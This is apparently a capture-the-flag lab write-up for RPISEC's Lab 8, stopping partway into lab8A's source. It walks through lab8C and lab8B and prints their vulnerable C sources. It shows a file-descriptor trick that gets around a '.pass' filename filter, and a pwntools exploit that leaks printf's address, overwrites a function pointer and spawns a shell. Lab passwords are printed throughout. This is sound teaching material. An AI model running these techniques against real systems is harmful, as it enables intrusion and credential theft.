While the last lab introduced the subject of Heap Exploitation, this lab focuses on Misc and Stack Cookies.
The lab contains three levels again ranging from C to A:
–> lab8C
–> lab8B
–> lab8A
lab8C
The username for the first level of this lab is lab8C with the password lab08start:
login as: lab8C lab8C@localhost's password: (lab08start) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]-----------------
We start by inspecting the source code:
lab8C@warzone:/levels/lab08$ cat lab8C.c /* * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8C lab8C.c */ #include<errno.h> #include<fcntl.h> #include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<unistd.h> struct fileComp { char fileContents1[255]; char fileContents2[255]; int cmp; }; char* readfd(int fd) { // Find length of file int size = lseek(fd, 0, SEEK_END); if(size >= 255) { printf("Your file is too big.\n"); exit(EXIT_FAILURE); } // Reset fd to beginning of file lseek(fd, 0, SEEK_SET); // Allocate space for the file and a null byte char* fileContents = malloc((size+1) & 0xff); if(!fileContents) { printf("Could not allocate space for file contents\n"); exit(EXIT_FAILURE); } // Read the file contents into the buffer int numRead = read(fd, fileContents, size & 0xff); return fileContents; } int getfd(char* arg) { if(arg[0] != '-' || arg[1] != 'f' || arg[3] != '=') { printf("Invalid formatting in argument \"%s\"\n", arg); return -1; } int fd; if(arg[2] == 'n') { // O_NOFOLLOW means that it won't follow symlinks. Sorry. fd = open(arg+4, O_NOFOLLOW | O_RDONLY); if(fd == -1) { printf("File could not be opened\n"); return -1; } } else if(arg[2] == 'd') { errno = 0; fd = atoi(arg+4); } else { printf("Invalid formatting in argument \"%s\"\n", arg); return -1; } return fd; } struct fileComp* comparefds(int fd1, int fd2) { struct fileComp* fc = malloc(sizeof(struct fileComp)); if(!fc) { printf("Could not allocate space for file contents\n"); exit(EXIT_FAILURE); } strcpy(fc->fileContents1, readfd(fd1)); strcpy(fc->fileContents2, readfd(fd2)); fc->cmp = strcmp(fc->fileContents1, fc->fileContents2); return fc; } char* securityCheck(char* arg, char* s) { if(strstr(arg, ".pass")) return "<<<For security reasons, your filename has been blocked>>>"; return s; } int main(int argc, char** argv) { if(argc != 3) { printf("Hi. This program will do a lexicographical comparison of the \ contents of two files. It has the bonus functionality of being \ able to process either filenames or file descriptors.\n"); printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]); return EXIT_FAILURE; } int fd1 = getfd(argv[1]); int fd2 = getfd(argv[2]); if(fd1 == -1 || fd2 == -1) { printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]); return EXIT_FAILURE; } if(fd1 == 0 || fd2 == 0) { printf("Invalid fd argument.\n"); printf("(We're still fixing some bugs with using STDIN.)\n"); printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]); return EXIT_FAILURE; } struct fileComp* fc = comparefds(fd1, fd2); printf( "\"%s\" is lexicographically %s \"%s\"\n", securityCheck(argv[1], fc->fileContents1), fc->cmp > 0 ? "after" : (fc->cmp < 0 ? "before" : "equivalent to"), securityCheck(argv[2], fc->fileContents2)); return EXIT_SUCCESS; }
What does the program do?
–> A struct called fileComp
is defined which contains two buffers and an integer (lines 13-17).
–> Within the main
function (line 97) two arguments to the program are expected.
–> Both arguments are supposed to identify a file by providing either a filename (-fn
) or a file descriptor (-fd
).
–> The function getfd
(line 42) is used to get the corresponding file descriptor from the provided options.
– If a filename is provided (-fn
) the file is opened using the function open
.
– If a file descriptor is provided (-fd
) the file descriptor is simply returned as an integer.
–> After both file descriptors are fetched and are valid the function comparefds
is called (line 123).
–> Within comparefds
(line 75) the struct fileComp
is instantiated and the contents of both files are copied into the struct object using strcpy
and the user defined function readfd
.
–> The function readfd
(line 19) allocates a buffer, reads the file-contents and returns the buffer containing the file-contents.
–> At last within the main
function printf
is used to display the comparison result. The contents of the file are filtered by the function securityCheck
.
–> This function (line 90) checks if the provided option contains the string ".pass"
. If the string is not found, the actual contents of the file are returned, otherwise a message stating that the filename has been blocked.
Where is the vulnerability within the program?
As usual our goal is to read the .pass
file in the home-directory from the user of the next level (in this case /home/lab8B/.pass
). The program enables us to provide two files which contents are compared and also displayed:
lab8C@warzone:/levels/lab08$ echo -n "test1" > /tmp/test1 lab8C@warzone:/levels/lab08$ echo -n "test2" > /tmp/test2 lab8C@warzone:/levels/lab08$ ./lab8C -fn=/tmp/test1 -fn=/tmp/test2 "test1" is lexicographically before "test2"
But we cannot simply read the .pass
file because the function securityCheck
tests if the filename contains the string .pass
and filters the output:
lab8C@warzone:/levels/lab08$ ./lab8C -fn=/tmp/test1 -fn=/home/lab8B/.pass "test1" is lexicographically after "<<<For security reasons, your filename has been blocked>>>"
Though the program enables us not only to provide a filename but also a file descriptor, which is simply an integer. The first three file descriptors are fixed:
–> 0 = stdin
–> 1 = stdout
–> 2 = stderr
When a new file is opened (for example by using open
), the next available file descriptor is used: 3
, 4
, 5
, …
This means that when we provide /home/lab8B/.pass
as the first file and the file descriptor 3
as the second file, these are both the same file. The difference is that the file-contents of the second file will not be filtered because our option does not containg the string .pass
:
lab8C@warzone:/levels/lab08$ ./lab8C -fn=/home/lab8B/.pass -fd=3 "<<<For security reasons, your filename has been blocked>>>" is lexicographically equivalent to "3v3ryth1ng_Is_@_F1l3 "
Done 🙂 The password for the next level is 3v3ryth1ng_Is_@_F1l3
.
lab8B
We can connect to the level using the previously achieved credentials lab8B with the password 3v3ryth1ng_Is_@_F1l3:
login as: lab8B lab8B@localhost's password: (3v3ryth1ng_Is_@_F1l3) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]-----------------
As usual we start by viewing the source code:
lab8B@warzone:/levels/lab08$ cat lab8B.c /* * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8B lab8B.c */ #include<stdio.h> #include<stdlib.h> #include<string.h> #define MAX_FAVES 10 struct vector { void (*printFunc)(struct vector*); char a; short b; unsigned short c; int d; unsigned int e; long f; unsigned long g; long long h; unsigned long long i; }; struct vector v1; struct vector v2; struct vector v3; struct vector* faves[MAX_FAVES]; void printVector(struct vector* v); void printMenu() { printf("+------------------------------------------------------------+\n"); printf("| |\n"); printf("| 1. Enter data :> |\n"); printf("| 2. Sum vectors :] |\n"); printf("| 3. Print vector :3 |\n"); printf("| 4. Save sum to favorites 8) |\n"); printf("| 5. Print favorites :O |\n"); printf("| 6. Load favorite :$ |\n"); printf("| 9. Get help :D |\n"); printf("| |\n"); printf("+------------------------------------------------------------+\n"); printf("I COMMAND YOU TO ENTER YOUR COMMAND: "); } struct vector* vectorSel() { printf("Which vector? "); char sel; while((sel = getchar()) == '\n'); // I love C. switch(sel) { case '1': return &v1; case '2': return &v2; case '3': return &v3; default: printf("\nBAD VECTOR SELECTION\n"); exit(EXIT_FAILURE); } } void enterData() { struct vector* v = vectorSel(); if(v == &v3) { printf("Please don't try to manually enter data into the sum.\n"); return; } printf("Data entry time!\n"); printf("char a: "); while((v->a = getchar()) == '\n'); // Still love C. printf("short b: "); scanf("%hd", &(v->b)); printf("unsigned short c: "); scanf("%hu", &(v->c)); printf("int d: "); scanf("%d", &(v->d)); printf("unsigned int e: "); scanf("%u", &(v->e)); printf("long f: "); scanf("%ld", &(v->f)); printf("unsigned long g: "); scanf("%lu", &(v->g)); printf("long long h: "); scanf("%lld", &(v->h)); printf("unsigned long long i: "); scanf("%llu", &(v->i)); v->printFunc = printVector; } void sumVectors() { if(v1.a==0 || v2.a==0 || v1.b==0 || v2.b==0 || v1.c==0 || v2.c==0 || v1.d==0 || v2.d==0 || v1.e==0 || v2.e==0 || v1.f==0 || v2.f==0 || v1.g==0 || v2.g==0 || v1.h==0 || v2.h==0 || v1.i==0 || v2.i==0) { printf("You didn't even set the addends... :(\n"); return; } v3.a = v1.a + v2.a; v3.b = v1.b + v2.b; v3.c = v1.c + v2.c; v3.d = v1.d + v2.d; v3.e = v1.e + v2.e; v3.f = v1.f + v2.f; v3.g = v1.g + v2.g; v3.h = v1.h + v2.h; v3.i = v1.i + v2.i; printf("Summed.\n"); } /* * Bonus points if you don't use this function. */ void thisIsASecret() { system("/bin/sh"); } void printVector(struct vector* v) { printf("Address: %p\n", v); printf("void printFunc: %p\n", v->printFunc); printf("char a: %c\n", v->a); printf("short b: %hd\n", v->b); printf("unsigned short c: %hu\n", v->c); printf("int d: %d\n", v->d); printf("unsigned int e: %u\n", v->e); printf("long f: %ld\n", v->f); printf("unsigned long g: %lu\n", v->g); printf("long long h: %lld\n", v->h); printf("unsigned long long i: %llu\n", v->i); } void fave() { unsigned int i; for(i=0; i<MAX_FAVES; i++) if(!faves[i]) break; if(i == MAX_FAVES) printf("You have too many favorites.\n"); else { faves[i] = malloc(sizeof(struct vector)); memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector)); printf("I see you added that vector to your favorites, \ but was it really your favorite?\n"); } } void printFaves() { unsigned int i; for(i=0; i<MAX_FAVES; i++) if(faves[i]) printVector(faves[i]); else break; printf("Printed %u vectors.\n", i); } void loadFave() { printf("Which favorite? "); unsigned int i; scanf("%u", &i); if(i >= MAX_FAVES) { printf("Index out of bounds\n"); return; } struct vector* v = vectorSel(); if(v == &v3) { printf("Please don't try to manually enter data into the sum.\n"); return; } memcpy(v, faves[i], sizeof(v)); } void help() { printf("\ This program adds two vectors together and stores it in a third vector. You \ can then add the sum to your list of favorites, or load a favorite back into \ one of the addends.\n"); } int main(int argc, char** argv) { char sel; printMenu(); v1.printFunc = printf; v2.printFunc = printf; v3.printFunc = printf; struct vector* v; while((sel = getchar()) && (sel == '\n' || getchar())) // Magic ;^) { if(sel == '\n') continue; switch(sel) { case '0': printf("OK, bye.\n"); return EXIT_SUCCESS; case '1': enterData(); break; case '2': sumVectors(); break; case '3': v = vectorSel(); //printf("Calling %p\n", v->printFunc); v->printFunc(v); break; case '4': fave(); break; case '5': printFaves(); break; case '6': loadFave(); break; case '9': help(); break; default: printf("\nThat was bad input. \ Just like your futile attempt to pwn this.\n"); return EXIT_FAILURE; } printMenu(); } return EXIT_SUCCESS; }
What does the program do?
–> A struct called vector
is defined on lines 11-22 containing a member-function printFunc
and 9 member variables (a
– i
) with varying types.
–> Following this three global struct vector
are defined (lines 24-26) as well as an array named faves
holding pointers to struct vector
instances (line 27).
–> Within the main
function (line 202) a menu is displayed using the function printMenu
(line 31) giving the user the following options:
– Enter data / Sum vectors / Print vector
– Save sum to favorites / Print favorites / Load favorite
– Get help
–> After the menu is displayed within the main
function, the member-function of all three global vectors is set to printf
(lines 206-208).
–> When 1. Enter data
is selected, the function enterData
(line 66) calls vectorSel
(line 47) to let the user select one of the three globally defined vectors.
–> After this the user can input a value for every member variable of the vector (scanf
) and the member-function printFunc
is set to printVector
(line 131).
–> When 2. Sum vectors
is selected, the function sumVectors
(line 96) is called adding each member variable of v1
and v2
and storing the result in v3
.
–> When choosing 3. Print vector
the user can select on of three vectors on which the member-function printFunc
is called (line 229).
–> 4. Save sum to favorites
calls fave
(line 146), which searches the next free entry within the global array faves
, allocates memory for a new struct vector
instance and uses memcpy
to fill the newly allocated memory.
–> 5. Print favorites
calls printFaves
(line 163) iterating over the faves
array calling printVector
on all allocated pointers.
–> When 6. Load favorite
is selected, loadFave
(line 174) is called which allows the user to store a favorite vector from the array faves
to v1
or v2
.
Where is the vulnerability within the program?
When reading the source code the following line within the function fave
attracted my attention:
... faves[i] = malloc(sizeof(struct vector)); memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector)); ...
According to the menu selection the function should save the sum (this is v3
) to our favorites. The call to malloc
allocates memory for the new struct instance. The address of this memory is stored within the pointer-array faves
at the index i
.
Then the contents of v3
should have been copied to the newly allocated memory. But the second argument (the source
) of the call to memcpy
is (int*)(&v3)+i
!? This means that when i
is greater than zero the copy-operation does not begin at the address of v3
but i * 4
bytes after the beginning of v3
. Let’s run the program using gdb
and see what impact this has:
lab8B@warzone:/levels/lab08$ gdb ./lab8B Reading symbols from ./lab8B...(no debugging symbols found)...done. gdb-peda$ r Starting program: /levels/lab08/lab8B +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND:
At first let’s enter some data for v1
and v2
and save the sum in v3
:
... I COMMAND YOU TO ENTER YOUR COMMAND: 1 Which vector? 1 Data entry time! char a: X short b: 2222 unsigned short c: 3333333 int d: 4444444 unsigned int e: 555555 long f: 6666666 unsigned long g: 777777 long long h: 888888 unsigned long long i: 9999999 +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 1 Which vector? 2 Data entry time! char a: Y short b: 1 unsigned short c: 1 int d: 1 unsigned int e: 1 long f: 1 unsigned long g: 1 long long h: 1 unsigned long long i: 1 +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 2 Summed.
If we now print the v3
we should see the result:
+------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 3 Which vector? 3 â–’â–’bâ–’â–’+------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND:
Mh!? That is not the function printVector
being called. But, wait! Do you remember this lines within the main
function:
v1.printFunc = printf; v2.printFunc = printf; v3.printFunc = printf;
The member-function printFunc
has been initialized with printf
. And how is this function being called?
v = vectorSel(); //printf("Calling %p\n", v->printFunc); v->printFunc(v);
With v->printFunc(v)
! As printFunc
was set to printf
this equals printf(v)
. Because printf
expects the argument to be a format string, it will simply print the bytes at this address until a null-byte is reached. And what bytes are stored at the address of v
?
struct vector { void (*printFunc)(struct vector*); ...
The member-function printFunc
, which vice versa is set to printf
. So what does printf
print? The address of printf
! This means we can leak a libc-address and bypass ASLR.
So far so good. Let’s proceed analysing the program’s behaviour.
As for now we have entered some values for v1
and v2
and stored the sum of both vectors in v3
.
As we already figured out, the source address in the function call to memcpy
within fave
seems to be messed up. So let’s save same favorites:
+------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 4 I see you added that vector to your favorites, but was it really your favorite? +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 5 Address: 0xb8037008 void printFunc: 0xb7628280 char a: â–’ short b: 2223 unsigned short c: 56534 int d: 4444445 unsigned int e: 555556 long f: 6666667 unsigned long g: 777778 long long h: 888889 unsigned long long i: 10000000 Printed 1 vectors.
The first copied favorite vector seems to be valid. The member variables contain the sum of v1
and v2
. Since the index i
is used in the memcpy
call let’s add another favorite:
+------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 4 I see you added that vector to your favorites, but was it really your favorite? +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 5 Address: 0xb8037008 void printFunc: 0xb7628280 char a: â–’ short b: 2223 unsigned short c: 56534 int d: 4444445 unsigned int e: 555556 long f: 6666667 unsigned long g: 777778 long long h: 888889 unsigned long long i: 10000000 Address: 0xb8037038 void printFunc: 0x8af00b1 char a: â–’ short b: 0 unsigned short c: 53533 int d: 555556 unsigned int e: 6666667 long f: 777778 unsigned long g: 888889 long long h: 42949672960000000 unsigned long long i: 0 Printed 2 vectors.
The second favorite vector is messed up. As suggested the source address of the call to memcpy
has been incremented by 4 for the favorite vector with the index i = 1
, because the address is cast to an integer pointer:
... faves[i] = malloc(sizeof(struct vector)); memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector)); ...
In order to exploit this, the most interesting line of output is this one:
... void printFunc: 0x8af00b1 ...
The variables which we stored in v1
and v2
were summed up in v3
and have been written to the function-pointer printFunc
:
v1 v2 v3 a: 'X' (0x58) + 'Y' (0x59) = 0xb1 b: 2222 + 1 = 2223 (0x8af) --> printFunc: 0x8af00b1
As you can see, between the char
-variable a
and the short
-variable b
there is an additional null-byte. This is caused by the compiler padding variables in the struct. In order to set printFunc
do an arbitrary value we have to add more favorites until a full 4-byte value we can control is stored in printFunc
. The easiest way is to use the unsigned integer e
. Thus we have to add a total amount of 5 favorites:
... I COMMAND YOU TO ENTER YOUR COMMAND: 4 I see you added that vector to your favorites, but was it really your favorite? +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 5 ... Address: 0xb80370c8 void printFunc: 0x87a24 char a: â–’ short b: 101 unsigned short c: 56882 int d: 888889 unsigned int e: 0 long f: 10000000 unsigned long g: 0 long long h: 0 unsigned long long i: 0 Printed 5 vectors.
Now printFunc
contains the value of v1.e + v2.e
:
v1 v2 v3 e: 555555 + 1 = 555556 (0x87a24) --> printFunc: 0x87a24
Since this is a 4-byte value we can set printFunc
to an arbitrary address. In order to trigger a call to this address, we have to load our favorite vector in v1
or v2
and then print this vector:
+------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 6 Which favorite? 4 Which vector? 1 +------------------------------------------------------------+ | | | 1. Enter data :> | | 2. Sum vectors :] | | 3. Print vector :3 | | 4. Save sum to favorites 8) | | 5. Print favorites :O | | 6. Load favorite :$ | | 9. Get help : | | | +------------------------------------------------------------+ I COMMAND YOU TO ENTER YOUR COMMAND: 3 Which vector? 1 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x87a24 EBX: 0xb77e7fa8 --> 0x2eb0 ECX: 0xb77b38a4 --> 0x0 EDX: 0xb77e8040 --> 0x87a24 ESI: 0x0 EDI: 0x0 EBP: 0xbf8fac88 --> 0x0 ESP: 0xbf8fac5c --> 0xb77e654c (<main+200>: jmp 0xb77e657f <main+251>) EIP: 0x87a24 EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x87a24 [------------------------------------stack-------------------------------------] 0000| 0xbf8fac5c --> 0xb77e654c (<main+200>: jmp 0xb77e657f <main+251>) 0004| 0xbf8fac60 --> 0xb77e8040 --> 0x87a24 0008| 0xbf8fac64 --> 0xbf8fad24 --> 0xbf8fc8b4 ("/levels/lab08/lab8B") 0012| 0xbf8fac68 --> 0xbf8fad24 --> 0xbf8fc8b4 ("/levels/lab08/lab8B") 0016| 0xbf8fac6c --> 0x1 0020| 0xbf8fac70 --> 0xb77b23c4 --> 0xb77b31e0 --> 0x0 0024| 0xbf8fac74 --> 0x3300000d ('\r') 0028| 0xbf8fac78 --> 0xb77e8040 --> 0x87a24 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00087a24 in ?? ()
Segmentation fault. Great!
Summing it up we are now able to:
–> Leak the address of printf
and thus calculate the offset to any function we would like to call.
–> Control the instruction pointer.
What function are we going to call? Well, the author of the program left us a little gift:
/* * Bonus points if you don't use this function. */ void thisIsASecret() { system("/bin/sh"); }
The only thing we need to do is to calculate the offset of both functions:
gdb-peda$ p printf $1 = {<text variable, no debug info>} 0xb7655280 <__printf> gdb-peda$ p thisIsASecret $2 = {<text variable, no debug info>} 0xb77e60a7 <thisIsASecret> gdb-peda$ p thisIsASecret - printf $3 = 0x190e27
Thus we have to add 0x190e27
to the leaked address of printf
to get the address of thisIsASecret
.
The following python-script:
–> Leaks the address of printf
.
–> Uses this address to calculate the address of thisIsASecret
(adding 0x190e27
).
–> Stores the address of thisIsASecret
– 1 in v1.e
.
–> Stores the value 1 in v2.e
(zeros are not allowed!).
–> Summing up both vectors in v3
.
–> Chooses 4. Save sum to favorites
5 times to overwrite printFunc
with the value of v3.e
.
–> Loads the 5th favorite in v1
.
–> Prints the vector v1
triggering the call to thisIsASecret
.
lab8B@warzone:/levels/lab08$ cat /tmp/expl_lab8B.py from pwn import * #+++++++++++++++++++++++++ def enterData(p, v, data): p.sendline("1") # 1. Enter data p.sendline(str(v)) # vector for i in range(len(data)): p.sendline(str(data[i])) p.recv(1000) #+++++++++++++++++ def sumVectors(p): p.sendline("2") # 2. Sum vectors #++++++++++++++++++ def printVector(p, v): p.sendline("3") # 3. Print vector p.sendline(str(v)) return p.recv(1000) #+++++++++++++++++ def leakPrintf(p): ret = printVector(p, 1) addr = int(ret[0x33:0x37][::-1].encode("hex"), 16) return addr #+++++++++++++++++++ def saveSumToFav(p): p.sendline("4") # 4. Save sum to favorites p.recv(1000) #+++++++++++++++++++++++++++ def loadFavorite(p, fav, v): p.sendline("6") # 6. Load favorite p.sendline(str(fav)) p.sendline(str(v)) p.recv(1000) p = process("./lab8B") p.recv(1000) addr_printf = leakPrintf(p) log.info("printf addr: " + hex(addr_printf)) addr_secret = addr_printf + 0x190e27 log.info("secret addr: " + hex(addr_secret)) enterData(p, 1, [1, 1, 1, 1, addr_secret-1, 1, 1, 1, 1]) enterData(p, 2, [1, 1, 1, 1, 1, 1, 1, 1, 1]) sumVectors(p) for i in range(5): saveSumToFav(p) loadFavorite(p, 4, 1) printVector(p, 1) p.interactive()
Running the script:
lab8B@warzone:/levels/lab08$ python /tmp/expl_lab8B.py [+] Starting program './lab8B': Done [*] printf addr: 0xb7622280 [*] secret addr: 0xb77b30a7 [*] Switching to interactive mode $ whoami lab8A $ cat /home/lab8A/.pass Th@t_w@5_my_f@v0r1t3_ch@11
Done! The password for the next level is Th@t_w@5_my_f@v0r1t3_ch@11
.
lab8A
We connect to the last level using credentials lab8A with the password Th@t_w@5_my_f@v0r1t3_ch@11:
login as: lab8A lab8A@localhost's password: (Th@t_w@5_my_f@v0r1t3_ch@11) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]-----------------
Let’s have a look at the source code:
lab8A@warzone:/levels/lab08$ cat lab8A.c #include <stdlib.h> #include <stdio.h> #include <string.h> #include "utils.h" #define STDIN 0 //gcc -static -fstack-protector-all -mpreferred-stack-boundary=2 -o lab8A lab8A.c int *global_addr; int *global_addr_check; // made so you can only read what we let you void selectABook() { /* Our Apologies,the interface is currently under developement */ char buf_secure[512]; scanf("%s", buf_secure); printf(buf_secure); if(strcmp(buf_secure, "A") == 0){ readA(); }else if(strcmp(buf_secure,"F") == 0){ readB(); }else if(*buf_secure == '\x00'){ readC(); }else if(buf_secure == 1337){ printf("\nhackers dont have time to read.\n"); exit(EXIT_FAILURE); }else{ printf("\nWhat were you thinking, that isn't a good book."); selectABook(); } return; } void readA(){ printf("\n\n*************************************************\n"); printf("{|} Aristote's Metaphysics 350 B.C. Book VIII {|}\n"); printf("*************************************************\n\n"); printf("To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped? \n"); } void readB(){ printf("\n\n*************************************************\n"); printf("{|} Aristote's Metaphysics 350 B.C. Book IVIZ {|}\n"); printf("*************************************************\n\n"); printf( "Clearly, then, if people proceed thus in their usual manner of definition and speech, they cannot explain and solve the difficulty. But if, as we say, one element is matter and another is form, and one is potentially and the other actually, the question will no longer be thought a difficulty. For this difficulty is the same as would arise if 'round bronze' were the definition of 'cloak'; for this word would be a sign of the definitory formula, so that the question is, what is the cause of the unity of 'round' and 'bronze'? The difficulty disappears, because the one is matter, the other form. What, then, causes this-that which was potentially to be actually-except, in the case of things which are generated, the agent? For there is no other cause of the potential sphere's becoming actually a sphere, but this was the essence of either. Of matter some is intelligible, some perceptible, and in a formula there is always an element of matter as well as one of actuality; e.g. the circle is 'a plane figure'. But of the things which have no matter, either intelligible or perceptible, each is by its nature essentially a kind of unity, as it is essentially a kind of being-individual substance, quality, or quantity (and so neither 'existent' nor 'one' is present in their definitions), and the essence of each of them is by its very nature a kind of unity as it is a kind of being-and so none of these has any reason outside itself, for being one, nor for being a kind of being; for each is by its nature a kind of being and a kind of unity, not as being in the genus 'being' or 'one' nor in the sense that being and unity can exist apart from particulars. \n"); } void readC(){ printf("\n\n*************************************************\n"); printf("{|} Aristote's Metaphysics 350 B.C. Book MN9+ {|}\n"); printf("*************************************************\n\n"); printf( "Owing to the difficulty about unity some speak of 'participation', and raise the question, what is the cause of participation and what is it to participate; and others speak of 'communion', as Lycophron says knowledge is a communion of knowing with the soul; and others say life is a 'composition' or 'connexion' of soul with body. Yet the same account applies to all cases; for being healthy, too, will on this showing be either a 'communion' or a 'connexion' or a 'composition' of soul and health, and the fact that the bronze is a triangle will be a 'composition' of bronze and triangle, and the fact that a thing is white will be a 'composition' of surface and whiteness. The reason is that people look for a unifying formula, and a difference, between potency and complete reality. But, as has been said, the proximate matter and the form are one and the same thing, the one potentially, and the other actually. Therefore it is like asking what in general is the cause of unity and of a thing's being one; for each thing is a unity, and the potential and the actual are somehow one. Therefore there is no other cause here unless there is something which caused the movement from potency into actuality. And all things which have no matter are without qualification essentially unities. "); } void findSomeWords() { /* We specialize in words of wisdom */ char buf[24]; // to avoid the null global_addr = (&buf+0x1); // have to make sure no one is stealing the librarians cookies (they get angry) global_addr_check = global_addr-0x2; char lolz[4]; printf("\n..I like to read ^_^ <== "); read(STDIN, buf, 2048); // >> read a lot every day ! if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){ printf("\n\nWoah There\n"); // why are you trying to break my program q-q exit(EXIT_FAILURE); } // protected by my CUSTOM cookie - so soooo safe now return; } int main(int argc, char* argv[]) { disable_buffering(stdout); printf("\n\n\n"); printf("**********************************************\n"\ "{|} Welcome to QUEND's Beta-Book-Browser {|}\n"\ "**********************************************\n"\ "\n" "\t==> reading is for everyone 